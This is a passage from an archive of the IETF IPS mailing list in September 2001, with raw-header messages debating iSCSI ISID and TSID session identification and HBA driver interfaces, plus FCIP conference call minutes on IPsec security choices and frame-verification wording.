Storage Architecture Networked Storage Solutions Org. Hewlett-Packard tel: +1 916 785 2656 fax: +1 916 785 0391 email: marjorie_krueger@hp.com > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Thursday, September 06, 2001 1:33 PM > To: ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Santosh, > > If an iSCSI HBA driver is going to live within the SCSI subsystems in > today's operating systems, it will be told almost nothing > about the host > through those interfaces. When the driver initializes, it is > likely to > be told only the PCI addresses of its adapter(s). It is provided > interfaces only to expose its SCSI request, ioctl request, > and hardware > interrupt service routines. It will not get the host name, or an IP > address via interfaces in the SCSI subsystem. Interfaces to collect > information such as IP address, and host name which are available to > network drivers, are not available to many storage drivers. These and > anything else needed will have to be collected from other interfaces. > Some OS environments will provide a way for the SCSI driver > to initiate > queries for this information, some will allow static > pre-configuration, > others will need to wait for something to poke the information in > through custom ioctl interfaces, or retrieve or construct > what is needed > from non-volatile storage on the HBA card. > > This is partly a chicken and egg problem. The host name for > example is > normally retrieved from the system disk which can not be read > until the > storage driver has completed its initialization. If the boot storage > controller could ask the OS for the host name, it would not get a good > answer. > > Operating systems will eventually comprehend the need for driver APIs > for iSCSI which blend network and storage requirements, but initial > implementations will be entirely supplied by the HBA or driver vendor. > > IMHO, if a driver can initialize (bootstrap) without information from > other sources, you make life much easier for the driver writers, > testers, and users. If all iSCSI drivers operating within > the same host > need to agree on something which is not available through a > pre-existing > interface, there will be problems. If the administrator has > to manually > set the same InitiatorName (and/or AccessID) for each iSCSI > driver, that > is one thing. If he has to manually set non-overlapping > ranges of ISIDs > for each driver instance that will be more error prone. > > The suggestion by Michael Schoberg to eliminate initiator > assigned ISID, > and only use TSID which is already guaranteed to be unique makes sense > to me. > > As Michael noted, we are a bit off of the consensus topic. > > Thanks, > Nick > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 06, 2001 1:57 PM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: login issue - partial consensus call > > > "Martin, Nick" wrote: > > > The problem is that iSCSI does not and will not specify how two HBAs > > from different vendors installed in the same Initiator > should or could > > get a range of ISIDs for their exclusive use. This will be > operating > > system specific and vendor defined. It is uncertain that the same > tool > > or repository would be used by all HBA vendors in any environment. > > Given this, accidental overlap in ISID space is not unlikely. > > In the above scenario, if the HBAs do not have an interface > to receive a > range of ISIDs from the OS iscsi driver, then, they must also lack an > interface to be handed down an iscsi initiator node name from the > OS driver. Without using a common iscsi initiator node name, the ISID > issue > does not arise for multiple HBAs. [since each would be using its own > iscsi > name]. > > OTOH, if the HBAs have an interface to be handed down an > iscsi initiator > node name from the OS driver, there's no reason for them to > not provide > an > interface to be handed down an ISID or a range of ISIDs for their use. > > I am in favor of option (A) since it is the simplest and a > well designed > HBA should be providing interfaces for the OS driver to assign the HBA > an > iscsi initiator node name as well as a range of ISIDs, thus, rendering > Nick's scenario unlikely. > > > > > Given that there is no one way to play right, we must make sure that > > everyone can at least play nice. > > > > My expectation is that sessions are infrequently > established and long > > lived. ISIDs may be re-used at will by their current > owners. When no > > "already owned" ISIDs are available, or an attempt to re-use an > "already > > owned" ISID failed, and HBA would need to a) "probe" for a new > available > > ISID or b) fail the request to establish the session. Session > recovery > > should not be attempted unless a session is known to have failed. > > > > If tools are available, and the administrator has used them > correctly, > > then HBAs will not collide in ISID space. If the tools are not > > available or were not used correctly, I would hope the > second HBA can > > still attempt to come up without impacting the sessions > established by > > the first. > > If the tools were not available, how does the 2nd HBA get assigned the > same > iscsi initiator node name as the first ? The ISID issue is only > applicable > if both HBAs are sharing the same iscsi initiator node name. > > I would like to understand the rationale behind an HBA interface > allowing > an initiator node name to be assigned, but not an ISID or a range of > ISIDs > (?). > > > Regards, > Santosh > > From owner-ips@ece.cmu.edu Thu Sep 6 21:10:21 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA13131 for ; Thu, 6 Sep 2001 21:10:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86NFni24585 for ips-outgoing; Thu, 6 Sep 2001 19:15:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f86NFlP24580 for ; Thu, 6 Sep 2001 19:15:47 -0400 (EDT) Received: from grubby.research.bell-labs.com ([135.104.2.9]) by dirty; Thu Sep 6 19:15:39 EDT 2001 Received: from aura.research.bell-labs.com ([135.104.46.10]) by grubby; Thu Sep 6 19:15:53 EDT 2001 Received: from research.bell-labs.com (IDENT:sandeepj@sandeepj-pcmh.research.bell-labs.com [135.104.47.90]) by aura.research.bell-labs.com (8.9.1/8.9.1) with ESMTP id TAA07756 for ; Thu, 6 Sep 2001 19:15:18 -0400 (EDT) Message-ID: <3B980386.A0F0C10B@research.bell-labs.com> Date: Thu, 06 Sep 2001 19:15:18 -0400 From: Sandeep Joshi X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-3 i686) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call References: <31891B757C09184BBFEC5275F85D5595104DC2@cceexc18.americas.cpqcorp.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit If we can step back a bit on this consensus call, I do agree with Nick on Mike's suggestion. http://www.pdl.cmu.edu/mailinglists/ips/mail/msg06373.html -Sandeep "Martin, Nick" wrote: > > The suggestion by Michael Schoberg to eliminate initiator assigned ISID, > and only use TSID which is already guaranteed to be unique makes sense > to me. > > As Michael noted, we are a bit off of the consensus topic. > > Thanks, > Nick From owner-ips@ece.cmu.edu Thu Sep 6 22:29:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14716 for ; Thu, 6 Sep 2001 22:29:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f870lfm29356 for ips-outgoing; Thu, 6 Sep 2001 20:47:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86Ll3P17155 for ; Thu, 6 Sep 2001 17:47:03 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Sep 2001 17:46:52 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD700@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: iSCSI: ISIDs Date: Thu, 6 Sep 2001 17:40:19 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Time to back up and regroup on this topic. It's clear that ISID management needs more attention, and hence there are some issues more basic than the attempted consensus call to work out. So, I'm going to abandon the attempted consensus call, and try to make progress on the underlying ISID issue. Those whose posts have called ISID management into question should not feel it necessary to apologize - this is an important issue to unscramble. A rough summary of where we find ourselves is: - iSCSI Initiator Names span network interfaces/adapters, as do iSCSI Target Names. - Multiple sessions are allowed between an iSCSI Initiator and Target. These are identified by an ISID and a TSID. - The ISID is the Initiator portion of the Session identifier and is used to track certain resources associated with the session (e.g., persistent reserves). - The TSID is the Target portion of the Session identifier, and serves primarily to make sure that all session identifiers (SSID = ISID||TSID) are unique at the Target. Michael Schoberg suggest getting rid of the ISID: > ISID - initiator-defined session-identifier > > Since initiators don't know about other initiators connected to this target, > this has the potential of causing problems. Eliminate it. The initiator > should simply state it's intentions of establishing a new session or adding > a connection to an existing session (via binary flags). The implication of this would be to make SSID = TSID, dynamically assigned by the Target (0 is a reserved value on Login asking Target to do this assignment), and partitioned appropriately across interfaces. Recoverable session resources would be associated with the combination of at the iSCSI Target, and the initiator tracks via - in both cases the TSID replaces the ISID. From a functional standpoint, this looks like it works, and has the nice additional property that session resources can be recovered through any iSCSI Initiator interface vs. having to go back to the one that's allowed to use the ISID for that session if ISIDs are statically partitioned. Does this cause any problems for the SAM-2 to iSCSI mapping? Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Thu Sep 6 22:32:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA15705 for ; Thu, 6 Sep 2001 22:32:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f870m5R29384 for ips-outgoing; Thu, 6 Sep 2001 20:48:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f870m4P29380 for ; Thu, 6 Sep 2001 20:48:04 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel2.hp.com (Postfix) with ESMTP id 097A1797 for ; Thu, 6 Sep 2001 20:48:04 -0400 (EDT) Received: from rose.hp.com (dhcp-rosefl-bba163.rose.hp.com [15.3.110.163]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id RAA05073 for ; Thu, 6 Sep 2001 17:49:22 -0700 (PDT) Message-ID: <3B981A71.EB07891@rose.hp.com> Date: Thu, 06 Sep 2001 17:53:05 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com X-Mailer: Mozilla 4.7 [en] (WinNT; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call References: <000701c13716$9f5c7790$f501a8c0@eddylaptop> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Eddy, Two comments - - In a reboot-after-a-crash scenario (one case where the implicit session logout - aka option A - would be useful), initiator may not have any old session state including the TSID. - Current formulation is that TSIDs are not really guaranteed to be unique per initiator, nor even among multiple sessions with the same initiator (if each is to a different target portal group). Hope that helps. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Eddy Quicksall wrote: > > I got a bit lost here but I think the purpose is to reset a session. > Wouldn't it make it easier if we use the TSID instead of the ISID. Since the > target controls that and can issue a unique TSID to every initiator, it > could more easily do its job. > > Am I missing something? > > Eddy > From owner-ips@ece.cmu.edu Fri Sep 7 00:21:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA16925 for ; Fri, 7 Sep 2001 00:21:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8735Ct06612 for ips-outgoing; Thu, 6 Sep 2001 23:05:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lightsand.com ([64.214.104.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8734oP06587 for ; Thu, 6 Sep 2001 23:05:03 -0400 (EDT) Received: from muralipc (dhcp099.lightsand.com [192.168.1.99]) by lightsand.com (8.9.3+Sun/8.9.1) with SMTP id UAA13401 for ; Thu, 6 Sep 2001 20:04:40 -0700 (PDT) From: "Murali Rajagopal" To: Subject: FCIP conf call minutes - 090501 Date: Thu, 6 Sep 2001 20:05:41 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Importance: Normal Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit FC over TCP/IP conference call minutes: Date: 09/05/01 Minutes submitted by: Raj Bhagwat Attendees: Don Fraser Ken Hirata Larry Lamers David Peterson Anil Rijhsinghani Neil Wanamaker Ralph Weber Vi Chau Gaby Hecht Milan Merhar Venkat Rangan Bob Snively Raj Bhagwat Murali Rajagopal I apologize if I missed anyone else. Minutes: 1. Carrying the discussion to the IPS list - Murali indicated that Elizabeth likes to see more FCIP related discussion taking place on the IPS list. - Larry felt that people in the IPS list need to know what is being discussed. - Venkat will post the security proposal to the IPS list. Ralph indicated that the IPS list has the people with expertise in security and their feedback will be helpful. - There was discussion on whether Venkat's security proposal should be a separate draft. Murali indicated that it can be a separate draft initially but will be eventually absorbed in the main FCIP document. 2. Conf calls for next two weeks - Next week's conf call will be set up by Compaq (Don Fraser). The conf call will be on Thursday (9/13/01), 1.30PM to 3.30PM PST. - Cisco (Dave Peterson) to set up the conf call for the following week. 3. TCP connection management There was a brief discussion the interaction that should happen between FCIP Entity and FC Entity when a TCP connection is closed. This was a follow up to the discussion that took place through email. Ralph indicated that the FCIP Entity needs to inform the FC Entity when a TCP connection is closed. It was also noted that, if FC Entity wants to close a connection, it may not be able to tell the FCIP entity whether it should be through a RST or FIN. 4. Security The rest of the conf call was mostly spent on discussing Venkat's proposal on security. - Venkat's proposal is similar to what iSCSI has decided on security. However, iSCSI has not made any decision on whether to support Tunnel mode or Transport mode. FCIP is leaning towards Tunnel mode. - Venkat said that the choice of IKE and Tunnel mode is in line with what is currently supported on most of the external IPSec gateways. This will be a helpful if FCIP devices need to be integrated with external security gateways to comply with FCIP requirements. - Larry indicated that IKE and Tunnel may not work with NATs. IPSec group is expected to resolve this. - Larry said that, for FCIP, authentication should be at machine level and not user/application level. Bob/Venkat clarified that IKE Phase1 is at IP address level, but IKE Phase 2 is at port level. - Venkat provided couple of clarifications - (1) Multiple FCIP end points (LEPs) sharing same Phase 1 negotiation is not prohibited. (2) More than one pair of FCIP end points can share the same security policy. Murali and Venkat summarized the different choices proposed in Venkat's document. They are reproduced here from Murali's email to the IPS reflector. a. Keying Recommendation: Per RFC2409 - IKE with pre-shared keys MUST implement - IKE with public-key based keys MAY implement - IKE Main Mode MUST implement - IKE Aggressive Mode MAY implement b. Integrity MAC - HMAC-SHA1 MUST implement - AES in CBC MAC mode with XCBC extensions SHOULD implement c. Confidentiality When used: - 3DES in CBC mode MUST implement - AES in CTR mode SHOULD implement When not used: - NULL Encryption [RFC2410] d. Encapsulation Modes - Tunnel Mode/Transport modes being discussed, with bias to Tunnel Mode. The discussion on security continued... - Anil had questions on SA. He suggested having SA for each link instead of each connection. Venkat indicated that, as currently proposed, each connection will have a separate SA. Anil said that external gateways associate SA at IP address level. He suggested keeping FCIP security model close to how it exists on external IPSec gateways. Section 9.2, bullet 4 - It was felt that this bullet is not adding anything. Decided to take it out. Page 2, last paragraph - Can be dropped since it is confusing and not necessary. Section 9.3.3 - The current proposal suggests rekeying after 2^31 sequences are exhausted. Murali asked why it is so conservative. Murali was concerned about scaling it to 10G. Larry indicated that the IP Security group is currently looking into extending the sequence number to a larger value and probably there will be a solution by the time we have 10G. Section 9.3.3, last paragraph - Bob indicated that FCIP_DE will never see IKE traffic since it is handled at a layer below IP layer. Venkat had concerns that in the diagram (fig. 5), the IP connection is shown attached to the FCIP_DE. May be, we need to clean up the diagram. Decided to remove this paragraph. 6. Ken Hirata asked if single connection can support multiple classes. Bob said it is allowed. 7. Discussion on Ralph/Bob's proposal to get through NAPTs There was some discussion on the proposed solution. Larry felt that using reserved bits would be a better solution than using SOF/EOF encodings. Here is the summary taken from Ralph's email: 1) Do something with the reserved bits (or one bit) that identifies the proposed frames? 2) Change the SOF/EOF words 7 & 13 to the Reserved/-Reserved format. 3) Find a name other than NOP for the frames. I hereby suggest FCIP Short Frame. ----------------------------------------------- Raj Bhagwat LightSand Communications, Inc. Ph: (949)837-1733, x104 http://www.lightsand.com From owner-ips@ece.cmu.edu Fri Sep 7 00:22:22 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA16961 for ; Fri, 7 Sep 2001 00:22:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f872OTY04537 for ips-outgoing; Thu, 6 Sep 2001 22:24:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f872OSP04533 for ; Thu, 6 Sep 2001 22:24:28 -0400 (EDT) Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190]) by atlrel1.hp.com (Postfix) with ESMTP id 9E58E52D; Thu, 6 Sep 2001 22:24:27 -0400 (EDT) Received: from xatlbh1.atl.hp.com (xatlbh1.atl.hp.com [15.45.89.186]) by xatlrelay1.atl.hp.com (Postfix) with ESMTP id EB4611F975; Thu, 6 Sep 2001 19:51:07 -0400 (EDT) Received: by xatlbh1.atl.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Sep 2001 19:51:07 -0400 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF0D4@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "'Sandeep Joshi'" , ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 19:51:06 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk We're not calling concensus on Mike's suggestion. Even if Mike's suggestion is implementable, the concensus question remains Option A or B? If you wish to discuss Mike's suggestion, please start another thread. This one's getting lost... Marj > -----Original Message----- > From: Sandeep Joshi [mailto:sandeepj@research.bell-labs.com] > Sent: Thursday, September 06, 2001 4:15 PM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: login issue - partial consensus call > > > > If we can step back a bit on this consensus call, I do > agree with Nick on Mike's suggestion. > > http://www.pdl.cmu.edu/mailinglists/ips/mail/msg06373.html > > -Sandeep > > "Martin, Nick" wrote: > > > > The suggestion by Michael Schoberg to eliminate initiator > assigned ISID, > > and only use TSID which is already guaranteed to be unique > makes sense > > to me. > > > > As Michael noted, we are a bit off of the consensus topic. > > > > Thanks, > > Nick > From owner-ips@ece.cmu.edu Fri Sep 7 03:23:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03275 for ; Fri, 7 Sep 2001 03:23:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87512C12575 for ips-outgoing; Fri, 7 Sep 2001 01:01:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lucy.trebia.com ([65.192.191.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87510P12564 for ; Fri, 7 Sep 2001 01:01:00 -0400 (EDT) Received: by LUCY with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 01:05:24 -0400 Message-ID: <63616B261CEFD411834D00D0B7A86CF711411C@LUCY> From: Sudhir Srinivasan To: barry reinhold , ISCSI Cc: Sudhir Srinivasan Subject: RE: FCIP: Intent of standard in 6.6.2.2 Date: Fri, 7 Sep 2001 01:05:15 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Barry, I think the standard is not worded precisely enough here. For instance, the para right after the text you highlighted seems to make it ambiguous - it can be interpreted as saying that really only length field test failures are sync errors and the other tests are not necessarily so (which makes sense to me). I think this should be clarified with the authors. - Sudhir Errors in FCIP Frame headers SHOULD be considered carefully, since some may be synchronization errors. For example, any failure of the Length field tests described above SHALL be handled as a synchronization error. Errors in FCIP Frames detected by the FCIP_DE that affect synchronization with the Encapsulated Frame Receiver Portal byte stream SHALL be handled as defined by section 6.6.2.4. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Trebia Networks, Inc. Sudhir.Srinivasan@trebia.com 978-929-0830 x139 www.trebia.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > -----Original Message----- > From: Barry Reinhold [mailto:bbrtrebia@mediaone.net] > Sent: Thursday, September 06, 2001 2:23 PM > To: ISCSI > Subject: FCIP: Intent of standard in 6.6.2.2 > > > I would like to ensure that I am understanding the intent of > the standard > correctly relative to clause 6.6.2.2 (draft 05). > > Under the verification SHALL be accomplished.... > > item C "At least 6 other of the 21 distinct tests listed above." > > This means that there SHALL be six other fields tested and > that if any one > of them fail then sync. in the TCP stream shall not be > considered acquired. > It also means that a frame with 15 fields in error could pass the > verification test of some device and that device would still > be consider > compliant. Anyone reading this differently? > > Barry Reinhold > Principal Architect > Trebia Networks > barry.reinhold@trebia.com > 603-868-5144/603-659-0885/978-929-0830 x138 > From owner-ips@ece.cmu.edu Fri Sep 7 03:30:44 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03363 for ; Fri, 7 Sep 2001 03:30:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f871L9E01256 for ips-outgoing; Thu, 6 Sep 2001 21:21:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f871L7P01249 for ; Thu, 6 Sep 2001 21:21:07 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id BDC141F5D8; Thu, 6 Sep 2001 18:21:00 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id SAA07280; Thu, 6 Sep 2001 18:20:55 -0700 (PDT) Message-ID: <3B982250.23316DF4@cup.hp.com> Date: Thu, 06 Sep 2001 18:26:41 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: "Martin, Nick" Cc: ips@ece.cmu.edu Subject: Re: iSCSI: login issue - partial consensus call References: <31891B757C09184BBFEC5275F85D5595104DC2@cceexc18.americas.cpqcorp.net> Content-Type: multipart/mixed; boundary="------------32B1A5292CFA9425E71BBE04" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------32B1A5292CFA9425E71BBE04 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Nick, I understand the issues you point out below, since we are dealing with the very same issues, as an OS vendor. However, the iscsi architecture by allowing multi-connection sessions that can span multiple HBAs, requires an OS component to be present that is iscsi aware [an iscsi OS driver]. All iscsi'ness cannot be hidden on HBA firmware if one wishes to support multi-connection sessions. The CmdSN, Initiator Task Tag, ExpStatSN need to be assigned by an OS driver that is co-ordinating across multiple HBAs. The OS driver should also be capable of assigning ISIDs to the HBA while establishing a session. Why is it an issue for the OS driver to be assigning ISID while issuing an "Estabish Session" mailbox command or while adding a connection to an existing session ? Regarding the issue of co-ordinating ISIDs & multi-connection sessions across multiple HBA types, this is only possible if a mid-layer component is present in the OS, co-ordinating across the vendors' drivers. In its absence, multi-connection sessions are only possible within the HBAs of a given vendor type, and each vendor type uses a different iscsi name. Regards, Santosh "Martin, Nick" wrote: > Santosh, > > If an iSCSI HBA driver is going to live within the SCSI subsystems in > today's operating systems, it will be told almost nothing about the host > through those interfaces. When the driver initializes, it is likely to > be told only the PCI addresses of its adapter(s). It is provided > interfaces only to expose its SCSI request, ioctl request, and hardware > interrupt service routines. It will not get the host name, or an IP > address via interfaces in the SCSI subsystem. Interfaces to collect > information such as IP address, and host name which are available to > network drivers, are not available to many storage drivers. These and > anything else needed will have to be collected from other interfaces. > Some OS environments will provide a way for the SCSI driver to initiate > queries for this information, some will allow static pre-configuration, > others will need to wait for something to poke the information in > through custom ioctl interfaces, or retrieve or construct what is needed > from non-volatile storage on the HBA card. > > This is partly a chicken and egg problem. The host name for example is > normally retrieved from the system disk which can not be read until the > storage driver has completed its initialization. If the boot storage > controller could ask the OS for the host name, it would not get a good > answer. > > Operating systems will eventually comprehend the need for driver APIs > for iSCSI which blend network and storage requirements, but initial > implementations will be entirely supplied by the HBA or driver vendor. > > IMHO, if a driver can initialize (bootstrap) without information from > other sources, you make life much easier for the driver writers, > testers, and users. If all iSCSI drivers operating within the same host > need to agree on something which is not available through a pre-existing > interface, there will be problems. If the administrator has to manually > set the same InitiatorName (and/or AccessID) for each iSCSI driver, that > is one thing. If he has to manually set non-overlapping ranges of ISIDs > for each driver instance that will be more error prone. > > The suggestion by Michael Schoberg to eliminate initiator assigned ISID, > and only use TSID which is already guaranteed to be unique makes sense > to me. > > As Michael noted, we are a bit off of the consensus topic. > > Thanks, > Nick > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 06, 2001 1:57 PM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: login issue - partial consensus call > > "Martin, Nick" wrote: > > > The problem is that iSCSI does not and will not specify how two HBAs > > from different vendors installed in the same Initiator should or could > > get a range of ISIDs for their exclusive use. This will be operating > > system specific and vendor defined. It is uncertain that the same > tool > > or repository would be used by all HBA vendors in any environment. > > Given this, accidental overlap in ISID space is not unlikely. > > In the above scenario, if the HBAs do not have an interface to receive a > range of ISIDs from the OS iscsi driver, then, they must also lack an > interface to be handed down an iscsi initiator node name from the > OS driver. Without using a common iscsi initiator node name, the ISID > issue > does not arise for multiple HBAs. [since each would be using its own > iscsi > name]. > > OTOH, if the HBAs have an interface to be handed down an iscsi initiator > node name from the OS driver, there's no reason for them to not provide > an > interface to be handed down an ISID or a range of ISIDs for their use. > > I am in favor of option (A) since it is the simplest and a well designed > HBA should be providing interfaces for the OS driver to assign the HBA > an > iscsi initiator node name as well as a range of ISIDs, thus, rendering > Nick's scenario unlikely. > > > > > Given that there is no one way to play right, we must make sure that > > everyone can at least play nice. > > > > My expectation is that sessions are infrequently established and long > > lived. ISIDs may be re-used at will by their current owners. When no > > "already owned" ISIDs are available, or an attempt to re-use an > "already > > owned" ISID failed, and HBA would need to a) "probe" for a new > available > > ISID or b) fail the request to establish the session. Session > recovery > > should not be attempted unless a session is known to have failed. > > > > If tools are available, and the administrator has used them correctly, > > then HBAs will not collide in ISID space. If the tools are not > > available or were not used correctly, I would hope the second HBA can > > still attempt to come up without impacting the sessions established by > > the first. > > If the tools were not available, how does the 2nd HBA get assigned the > same > iscsi initiator node name as the first ? The ISID issue is only > applicable > if both HBAs are sharing the same iscsi initiator node name. > > I would like to understand the rationale behind an HBA interface > allowing > an initiator node name to be assigned, but not an ISID or a range of > ISIDs > (?). > > Regards, > Santosh --------------32B1A5292CFA9425E71BBE04 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------32B1A5292CFA9425E71BBE04-- From owner-ips@ece.cmu.edu Fri Sep 7 06:29:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA05423 for ; Fri, 7 Sep 2001 06:29:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f879W7G04944 for ips-outgoing; Fri, 7 Sep 2001 05:32:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f879W0P04936 for ; Fri, 7 Sep 2001 05:32:01 -0400 (EDT) Received: from london ([192.168.1.39]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id CAA10464; Fri, 7 Sep 2001 02:31:40 -0700 (PDT) From: "Rod Harrison" To: , Subject: RE: iSCSI: ISIDs Date: Fri, 7 Sep 2001 10:33:33 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal 